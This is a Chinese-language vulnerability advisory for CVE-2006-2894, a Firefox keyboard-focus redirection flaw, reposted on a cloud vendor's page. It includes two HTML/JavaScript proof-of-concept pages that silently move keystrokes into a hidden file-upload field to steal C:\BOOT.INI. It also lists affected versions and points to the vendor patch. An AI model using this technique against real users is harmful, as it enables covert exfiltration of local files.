Firefox瀏覽器重新定向滑鼠焦點處理漏洞

最後更新：2013-12-26 來源：互聯網

上載者：User

創建阿里雲帳戶，並獲得超過 40 款產品的免費試用版；而企業帳戶則可以享有總值 $1200 的免費試用版。立即註冊！

發布日期：2006-06-06
更新日期：2007-10-23

受影響系統：
Mozilla Firefox < 2.0.0.8
Mozilla SeaMonkey < 1.1.5
不受影響系統：
Mozilla Firefox 2.0.0.8
Mozilla SeaMonkey 1.1.5
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 18308
CVE(CAN) ID: CVE-2006-2894

Firefox是一款流行的開源WEB瀏覽器。

Firefox在處理onKeyDown/onKeyPress事件時存在漏洞，惡意網頁可能利用此漏洞擷取使用者系統上的特定檔案。

Firefox沒有正確地處理onKeyDown/onKeyPress事件，允許在使用者不知情的情況下移動上述兩個事件之間的滑鼠焦點。如果攻擊者知道了到檔案的完整路徑名且能夠誘騙使用者鍵入超長內容的話，就可以暗中將滑鼠焦點重新定向到其他受保護的檔案上傳表單欄位，將任意檔案上傳到攻擊者所選擇的網站。

<*來源：Michal Zalewski lcamtuf@echelon.pl）
Charles McAuley cmcauley@imperfectnetworks.com）

連結：https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=370092
http://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052333.html
http://secunia.com/advisories/20442/print/
http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/046610.html
http://www.mozilla.org/security/announce/2007/mfsa2007-32.html
*>

測試方法：
--------------------------------------------------------------------------------

警告

以下程式(方法)可能帶有攻擊性，僅供安全研究與教學之用。使用者風險自負！

<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;

function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
{
//e.keyCode =0;
e.returnValue=false;
e.cancelBubble=true;
}
else {
i--;
}
document.forms[0].fileupload.focus();

}

function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

function switchtype() {
/* var e = document.getElementById('txt');
document.forms[0].txt.setAttribute("type", "file");
e.setAttribute("value", "asfasfsd");
*/
}

function fux0rKeys() {
}
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>

<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
color: white;
background-color: white;
opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
{
saved = chucky.which;
//alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
i > mystring.length-1) {
return false;
}
i++;
return true;
};
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">

</FORM>
</BODY>
</HTML>

建議：
--------------------------------------------------------------------------------
廠商補丁：

Mozilla
-------
目前廠商已經發布了升級補丁以修複這個安全問題，請到廠商的首頁下載：

http://www.mozilla.org/

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

Sales Support

1 on 1 presale consultation

Chat Contact Sales
After-Sales Support

24/7 Technical Support 6 Free Tickets per Quarter Faster Response

Open a Ticket
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

Learn More